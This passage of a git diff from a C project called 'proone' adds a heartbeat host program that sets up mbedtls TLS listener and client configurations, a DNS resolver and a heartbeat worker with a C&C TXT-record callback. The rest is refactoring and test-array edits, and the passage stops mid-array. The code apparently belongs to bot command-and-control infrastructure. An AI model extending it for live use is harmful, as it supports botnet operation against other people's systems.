+ ep.addr.ver = PRNE_IPV_6;
+ pos = htbthost_param.pool6.cnt;
+ prne_resolv_alloc_ns_pool(&htbthost_param.pool6, pos + 1);
+ htbthost_param.pool6.arr[pos] = ep;
+ }
+ }
+ else {
+ return false;
+ }
+
+ return true;
+}
+
+
+int main (const int argc, const char **args) {
+ static mbedtls_entropy_context entropy;
+ static mbedtls_ctr_drbg_context rnd;
+ static prne_resolv_t *resolv;
+ static prne_htbt_t *htbt;
+ static prne_worker_t wkr_arr[2];
+ static prne_worker_t *w;
+ static struct {
+ mbedtls_x509_crt ca;
+ struct {
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context key;
+ mbedtls_dhm_context dhm;
+ mbedtls_ssl_config conf;
+ } lbd;
+ struct {
+ mbedtls_ssl_config conf;
+ } cncp;
+ } ssl;
+
+ sigemptyset(&ss_all);
+ sigemptyset(&ss_exit);
+ sigaddset(&ss_all, SIGTERM);
+ sigaddset(&ss_all, SIGINT);
+ sigaddset(&ss_all, SIGPIPE);
+ // sigaddset(&ss_all, SIGCHLD);
+ sigaddset(&ss_exit, SIGTERM);
+ sigaddset(&ss_exit, SIGINT);
+ assert(regcomp(
+ &re_ns4,
+ "^@([0-9\\.]+)(:[0-9]{1,5})?$",
+ REG_ICASE | REG_EXTENDED) == 0);
+ assert(regcomp(
+ &re_ns6,
+ "^@\\[([0-9a-f:]+)\\](:[0-9]{1,5})?$",
+ REG_ICASE | REG_EXTENDED) == 0);
+ prne_assert(sigprocmask(SIG_BLOCK, &ss_all, NULL) == 0);
+ init_htbthost_param(&htbthost_param);
+
+ if (argc < 2) {
+ print_usage(args[0]);
+ return 2;
+ }
+ else {
+ if (sscanf(args[1], "%255s", htbthost_param.txtrec) != 1 ||
+ strlen(htbthost_param.txtrec) == 0)
+ {
+ fprintf(stderr, "Invalid <TXT REC>\n");
+ return 2;
+ }
+ else if (strcmp("--help", args[1]) == 0) {
+ print_usage(args[0]);
+ return 2;
+ }
+
+ for (int i = 2; i < argc; i += 1) {
+ if (strcmp("--help", args[1]) == 0) {
+ print_usage(args[0]);
+ return 2;
+ }
+ else if (!parse_param(args[i])) {
+ fprintf(stderr, "Invalid option \"%s\"\n", args[i]);
+ return 2;
+ }
+ }
+
+ if (!htbthost_param.def_dns &&
+ (htbthost_param.pool4.cnt == 0 || htbthost_param.pool6.cnt == 0)) {
+ fprintf(stderr, "Empty IPv4 or IPv6 nameserver pool.\n");
+ return 2;
+ }
+ }
+
+ mbedtls_debug_set_threshold(1);
+ pth_init();
+
+ proc_start = prne_gettime(CLOCK_MONOTONIC);
+
+ mbedtls_entropy_init(&entropy);
+ mbedtls_ctr_drbg_init(&rnd);
+ prne_assert(mbedtls_ctr_drbg_seed(
+ &rnd,
+ mbedtls_entropy_func,
+ &entropy,
+ NULL,
+ 0) == 0);
+
+ mbedtls_x509_crt_init(&ssl.ca);
+ mbedtls_x509_crt_init(&ssl.lbd.crt);
+ mbedtls_pk_init(&ssl.lbd.key);
+ mbedtls_dhm_init(&ssl.lbd.dhm);
+ mbedtls_ssl_config_init(&ssl.lbd.conf);
+ mbedtls_ssl_config_init(&ssl.cncp.conf);
+ load_lbd_ssl_conf(
+ &ssl.lbd.conf,
+ &ssl.ca,
+ &ssl.lbd.crt,
+ &ssl.lbd.key,
+ &ssl.lbd.dhm,
+ &rnd);
+ mbedtls_ssl_conf_authmode(
+ &ssl.lbd.conf,
+ htbthost_param.verify ?
+ MBEDTLS_SSL_VERIFY_REQUIRED : MBEDTLS_SSL_VERIFY_NONE);
+ prne_assert(mbedtls_ssl_config_defaults(
+ &ssl.cncp.conf,
+ MBEDTLS_SSL_IS_CLIENT,
+ MBEDTLS_SSL_TRANSPORT_STREAM,
+ MBEDTLS_SSL_PRESET_DEFAULT) == 0);
+ mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd);
+ mbedtls_ssl_conf_dbg(&ssl.lbd.conf, mbedtls_dbg_f, NULL); // TODO
+
+ mbedtls_ctr_drbg_random(
+ &rnd,
+ instance_id,
+ sizeof(instance_id));
+
+ w = wkr_arr + 0;
+ if (htbthost_param.def_dns) {
+ resolv = prne_alloc_resolv(
+ w,
+ &rnd,
+ PRNE_RESOLV_DEF_IPV4_POOL,
+ PRNE_RESOLV_DEF_IPV6_POOL);
+ }
+ else {
+ resolv = prne_alloc_resolv(
+ w,
+ &rnd,
+ prne_resolv_own_ns_pool(&htbthost_param.pool4, false),
+ prne_resolv_own_ns_pool(&htbthost_param.pool6, false));
+ }
+ w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx);
+ prne_assert(resolv != NULL && w->pth != NULL);
+
+ {
+ static prne_htbt_param_t param;
+
+ prne_htbt_init_param(&param);
+ param.lbd_ssl_conf = &ssl.lbd.conf;
+ param.cncp_ssl_conf = &ssl.cncp.conf;
+ param.ctr_drbg = &rnd;
+ param.resolv = resolv;
+ param.cb_f.cnc_txtrec = cb_txtrec;
+ param.cb_f.hostinfo = cb_hostinfo;
+
+ w = wkr_arr + 1;
+ htbt = prne_alloc_htbt(w, param);
+ w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx);
+ prne_assert(htbt != NULL && w->pth != NULL);
+
+ prne_htbt_free_param(&param);
+ }
+
+ while (true) {
+ static int caught;
+
+ caught = 0;
+ pth_sigwait(&ss_all, &caught);
+ if (sigismember(&ss_exit, caught)) {
+ sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
+ break;
+ }
+ }
+
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ wkr_arr[i].fin(wkr_arr[i].ctx);
+ }
+ for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
+ pth_join(wkr_arr[i].pth, NULL);
+ wkr_arr[i].free_ctx(wkr_arr[i].ctx);
+ }
+
+ pth_kill();
+ mbedtls_x509_crt_free(&ssl.ca);
+ mbedtls_x509_crt_free(&ssl.lbd.crt);
+ mbedtls_pk_free(&ssl.lbd.key);
+ mbedtls_dhm_free(&ssl.lbd.dhm);
+ mbedtls_ssl_config_free(&ssl.lbd.conf);
+ mbedtls_ssl_config_free(&ssl.cncp.conf);
+ mbedtls_ctr_drbg_free(&rnd);
+ mbedtls_entropy_free(&entropy);
+ free_htbthost_param(&htbthost_param);
+ regfree(&re_ns4);
+ regfree(&re_ns6);
+
+ return 0;
+}
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index fcacadb..c42fb6a 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -4,6 +4,7 @@
#include "imap.h"
#include "resolv.h"
#include "proone_conf/x509.h"
+#include "proone_conf/config.h"
#include <stdio.h>
#include <string.h>
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 95c8ab8..4f5fbc1 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -61,9 +61,9 @@ int main (const int argc, const char **args) {
}
// init
- memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH);
- memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH);
- memzero(&zs, sizeof(z_stream));
+ prne_memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH);
+ prne_memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH);
+ prne_memzero(&zs, sizeof(z_stream));
if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) {
report_zerror(z_ret, "deflateInit()");
diff --git a/src/proone-resolv b/src/proone-resolv
deleted file mode 100755
index 1d7144a..0000000
--- a/src/proone-resolv
+++ /dev/null
Binary files differ
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
index 73198fe..490f861 100644
--- a/src/proone-resolv.c
+++ b/src/proone-resolv.c
@@ -165,7 +165,9 @@ static void *stdout_wkr_entry (void *ctx) {
bool output = false;
while (main_flag || prm_list.size > 0) {
- prne_assert(prne_pth_cond_timedwait(&prm_cv, NULL, NULL));
+ pth_mutex_acquire(prm_cv.lock, FALSE, NULL);
+ pth_cond_await(prm_cv.cond, prm_cv.lock, NULL);
+ pth_mutex_release(prm_cv.lock);
cur = prm_list.head;
while (cur != NULL) {
@@ -279,7 +281,7 @@ int main (void) {
main_flag = false;
close(STDIN_FILENO);
- prne_pth_cv_notify(&prm_cv);
+ prne_pth_cv_notify(prm_cv.lock, prm_cv.cond, true);
for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
prne_fin_worker(wkr_arr + i);
}
diff --git a/src/proone-stress.c b/src/proone-stress.c
index f9fffe0..1b52793 100644
--- a/src/proone-stress.c
+++ b/src/proone-stress.c
@@ -37,7 +37,7 @@ typedef struct {
typedef struct {
mbedtls_entropy_context ent;
- mbedtls_ctr_drbg_context ctx;
+ mbedtls_ctr_drbg_context ctx;
} priv_ctx_t;
shared_t *shared = NULL;
@@ -70,7 +70,7 @@ int main (const int argc, const char **args) {
size_t shm_size;
uint8_t *shm_ptr = MAP_FAILED;
bool is_parent = true;
-
+
parent = getpid();
{
@@ -90,7 +90,7 @@ int main (const int argc, const char **args) {
assert(pagesize % sizeof(unsigned long) == 0);
}
-
+
if (argc < 2) {
fprintf(stderr,
"Usage: %s <nproc> [page num range]\n"
@@ -137,7 +137,7 @@ DROP:
shm_ptr = mmap(NULL, shm_size, PROT_READ | PROT_WRITE, MAP_SHARED, zfd, 0);
END_ON_ERR(shm_ptr, MAP_FAILED, "mmap()", false);
close(zfd);
- zfd = -1;
+ zfd = -1;
// prep shared
shared = (shared_t*)shm_ptr;
@@ -157,7 +157,7 @@ DROP:
else if (f_ret == 0) {
struct sigaction sa;
- memzero(&sa, sizeof(struct sigaction));
+ prne_memzero(&sa, sizeof(struct sigaction));
sa.sa_handler = child_signal_handler;
sigaction(SIGINT, &sa, NULL);
@@ -174,7 +174,7 @@ DROP:
{
struct sigaction sa;
- memzero(&sa, sizeof(struct sigaction));
+ prne_memzero(&sa, sizeof(struct sigaction));
sa.sa_handler = handle_signal;
sigaction(SIGINT, &sa, NULL);
@@ -185,7 +185,7 @@ DROP:
clock_gettime(CLOCK_MONOTONIC, &last_report);
-
+
while (shared->good) {
pause();
}
@@ -226,7 +226,7 @@ static void handle_signal (const int sn) {
sendall(SIGTERM);
}
sigaction(SIGINT, NULL, NULL);
- sigaction(SIGTERM, NULL, NULL);
+ sigaction(SIGTERM, NULL, NULL);
break;
case SIGCHLD:
if (shared->good) {
@@ -310,7 +310,7 @@ static void child_main (shared_ctx_t *ctx) {
prne_mbedtls_entropy_init(&priv_ctx.ent);
mbedtls_ctr_drbg_init(&priv_ctx.ctx);
assert(mbedtls_ctr_drbg_seed(&priv_ctx.ctx, mbedtls_entropy_func, &priv_ctx.ent, NULL, 0) == 0);
-
+
while (shared->good) {
do_cycle(&priv_ctx, ctx);
ctx->nb_cycles += 1;
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index a718d9b..d1fe2fb 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -20,7 +20,7 @@ int main (void) {
for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
assert(i == prne_arch_fstr(prne_arch_tostr(i)));
}
-
+
test_ser();
return 0;
@@ -50,32 +50,32 @@ static void test_ser (void) {
NULL
};
static char *long_args[] = {
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
};
static char *too_long_args[] = {
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
};
static char *long_mem_args[] = {
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
